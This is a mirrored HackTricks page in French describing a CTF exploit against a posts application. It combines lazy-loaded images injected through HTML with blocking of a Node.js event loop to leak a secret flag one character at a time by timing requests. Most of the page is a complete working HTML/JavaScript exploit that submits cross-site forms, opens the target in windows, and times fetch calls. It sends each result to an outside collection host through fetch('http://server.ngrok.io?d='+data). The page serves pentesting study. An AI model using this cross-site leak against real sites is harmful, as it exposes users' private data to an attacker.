Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-12 14:22:56 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/xs-search/event-loop-blocking-+-lazy-images.md

7.6 KiB
Raw Blame History

Blocage de la boucle d'événements + Images paresseuses

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Dans cet exploit, @aszx87410 mélange la technique de canal secondaire d'image paresseuse à travers une injection HTML avec une sorte de technique de blocage de la boucle d'événements pour divulguer des caractères.

Il s'agit d'un exploit différent pour le défi CTF qui a déjà été commenté sur la page suivante. Jetez un œil pour plus d'informations sur le défi :

{% content-ref url="connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

L'idée derrière cet exploit est la suivante :

  • Les publications sont chargées par ordre alphabétique
  • Un attaquant peut injecter une publication commençant par "A", puis une certaine balise HTML (comme un grand <canvas) occupera la plupart de l'écran et quelques balises <img lazy finales pour charger des éléments.
  • Si au lieu d'un "A" l'attaquant injecte la même publication mais en commençant par un "z". La publication avec le drapeau apparaîtra en premier, puis la publication injectée apparaîtra avec le "z" initial et le grand canvas. Comme la publication avec le drapeau est apparue en premier, le premier canvas occupera tout l'écran et les balises <img lazy finales injectées ne seront pas visibles à l'écran, donc elles ne seront pas chargées.
  • Ensuite, pendant que le bot accède à la page, l'attaquant enverra des requêtes fetch.
  • Si les images injectées dans la publication sont en train d'être chargées, ces requêtes fetch prendront plus de temps, donc l'attaquant sait que la publication est avant le drapeau (par ordre alphabétique).
  • Si les requêtes fetch sont rapides, cela signifie que la publication est après le drapeau par ordre alphabétique.

Vérifions le code :

<!DOCTYPE html>
<html>
<!--
The basic idea is to create a post with a lot of images which send request to "/" to block server-side nodejs event loop.
If images are loading, the request to "/" is slower, otherwise faster.
By using a well-crafted height, we can let note with "A" load image but note with "Z" not load.
We can use fetch to measure the request time.
-->
<body>
<button onclick="run()">start</button>

<!-- Inject post with payload -->
<form id=f action="http://localhost:1234/create" method="POST" target="_blank">
<input id=inp name="text" value="">
</form>

<!-- Remove index -->
<form id=f2 action="http://localhost:1234/remove" method="POST" target="_blank">
<input id=inp2 name="index" value="">
</form>

<script>
let flag = 'SEKAI{'
const TARGET = 'https://safelist.ctf.sekai.team'
f.action = TARGET + '/create'
f2.action = TARGET + '/remove'

const sleep = ms => new Promise(r => setTimeout(r, ms))
// Function to leak info to attacker
const send = data => fetch('http://server.ngrok.io?d='+data)
const charset = 'abcdefghijklmnopqrstuvwxyz'.split('')

// start exploit
let count = 0
setTimeout(async () => {
let L = 0
let R = charset.length - 1

// I have omited code here as apparently it wasn't necesary

// fallback to linerar since I am not familiar with binary search lol
for(let i=R; i>=L; i--) {
let c = charset[i]
send('try_' + flag + c)
const found = await testChar(flag + c)
if (found) {
send('found: '+ flag+c)
flag += c
break
}
}

}, 0)

async function testChar(str) {
return new Promise(resolve => {
/*
For 3350, you need to test it on your local to get this number.
The basic idea is, if your post starts with "Z", the image should not be loaded because it's under lazy loading threshold
If starts with "A", the image should be loaded because it's in the threshold.
*/
// <canvas height="3350px"> is experimental and allow to show the injected
// images when the post injected is the first one but to hide them when
// the injected post is after the post with the flag
inp.value = str + '<br><canvas height="3350px"></canvas><br>'+Array.from({length:20}).map((_,i)=>`<img loading=lazy src=/?${i}>`).join('')
f.submit()

setTimeout(() => {
run(str, resolve)
}, 500)
})
}

async function run(str, resolve) {
// Open posts page 5 times
for(let i=1; i<=5;i++) {
window.open(TARGET)
}

let t = 0
const round = 30 //Lets time 30 requests
setTimeout(async () => {
// Send 30 requests and time each
for(let i=0; i<round; i++) {
let s = performance.now()
await fetch(TARGET + '/?test', {
mode: 'no-cors'
}).catch(err=>1)
let end = performance.now()
t += end - s
console.log(end - s)
}
const avg = t/round
// Send info about how much time it took
send(str + "," + t + "," + "avg:" + avg)

/*
I get this threshold(1000ms) by trying multiple times on remote admin bot
for example, A takes 1500ms, Z takes 700ms, so I choose 1000 ms as a threshold
*/
const isFound = (t >= 1000)
if (isFound) {
inp2.value = "0"
} else {
inp2.value = "1"
}

// remember to delete the post to not break our leak oracle
f2.submit()
setTimeout(() => {
resolve(isFound)
}, 200)
}, 200)
}

</script>
</body>
</html>
Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)!